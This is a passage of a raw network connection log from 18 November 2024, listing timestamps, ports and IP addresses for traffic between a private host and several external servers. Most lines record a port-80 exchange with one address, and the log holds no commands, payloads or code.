Nov 18, 2024 15:17:07.464893103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464904070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464920998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464934111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464946032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464957952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464960098 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464977026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464977026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464989901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464999914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.465027094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.465039015 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.467791080 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.467809916 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.471107960 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.471133947 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.471193075 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.471208096 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.471225023 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.471256971 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.515827894 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.515911102 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.532397985 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.532427073 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.532499075 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.532514095 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.532558918 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.588783026 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.588843107 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.588871956 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.588884115 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.588912964 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.588934898 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.588954926 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.589018106 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.589445114 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.589462996 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.609190941 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.609307051 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.609316111 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.609400034 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.609458923 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.609859943 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.609874964 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.610677004 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.611242056 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.611270905 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.611641884 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.612262964 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.612344980 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.612864971 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.615809917 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.616025925 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.616050959 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.617108107 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.617180109 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.618242025 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.618307114 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.624038935 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.624913931 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.624938965 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.626003027 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.626066923 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.630037069 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.630147934 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.655338049 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.665263891 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.665283918 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.665287971 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.666564941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.671530008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.681233883 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.681255102 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.705486059 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.705523968 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:07.705662966 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.706279039 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.706295013 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:07.708832979 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.708878040 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:07.708990097 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.709321022 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:07.709331989 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:07.713222027 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.729243040 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.748248100 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.748485088 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.748506069 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.749553919 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.749610901 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.750806093 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.750865936 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.760952950 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.761200905 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.761224031 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.762582064 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.762701035 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.763014078 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.763081074 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.766765118 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.767000914 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.767018080 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.768106937 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.768130064 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.768225908 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.769149065 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.769220114 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.791538000 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.791564941 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.792942047 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.793073893 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.794801950 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:07.794827938 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:07.807595968 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.807611942 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.823581934 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.823590994 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.847258091 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.847564936 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.878515959 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.946254015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946271896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946301937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946315050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946358919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946446896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946465015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946479082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946489096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946516037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946516037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946516037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946516037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946516037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946538925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946551085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946557045 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946561098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946573019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946585894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946594954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946594954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946598053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946625948 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946665049 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946762085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946774006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946785927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946796894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946810007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946820974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946860075 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946860075 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946860075 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946881056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946893930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946904898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946917057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946928978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946939945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.946979046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946979046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.946979046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947022915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947036028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947047949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947061062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947072983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947083950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947089911 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947089911 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947096109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947112083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947118998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947120905 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947127104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947133064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947139978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947156906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947237968 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947268009 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947279930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947292089 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947304010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947324038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947329998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947335958 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947349072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947360992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947372913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947372913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947448015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947458982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947464943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947472095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947484016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947495937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947504997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947516918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947547913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947547913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947618008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947628975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947639942 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947650909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947664022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947674990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947686911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947698116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947707891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947707891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947707891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947710037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947742939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947755098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947767019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947777033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947788954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947801113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947812080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947820902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947820902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947820902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947820902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947890997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947911024 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947921991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947933912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947945118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947956085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947969913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947973013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947973013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947973013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947973013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.947983027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.947994947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948005915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948014975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948014975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948019028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948034048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948049068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948084116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948184013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948195934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948206902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948219061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.948272943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948272943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.948299885 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.061867952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.061947107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.061995983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062046051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062046051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062046051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062098026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062138081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062191963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062211037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062259912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062272072 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062290907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062309980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062321901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062334061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062346935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062357903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062371016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062381983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062392950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062395096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062395096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062395096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062395096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062537909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062537909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062617064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062630892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062701941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.062727928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062751055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062752962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062757969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062772036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062777996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062784910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062791109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062812090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.062824011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.063039064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.063039064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.094913960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095079899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095102072 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095120907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095174074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095180035 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095180035 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095186949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095199108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095237970 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095237970 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095282078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095293999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095305920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095324039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095335960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095347881 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095360994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095360994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095403910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095415115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095438004 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095438004 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095446110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095458031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095469952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095480919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095491886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095525980 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095525980 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095560074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095597029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095607996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095618963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095626116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095635891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095647097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095657110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095669031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095673084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095673084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095679045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095690966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095701933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095715046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095725060 CET	49750	80	192.168.2.9	185.215.113.206
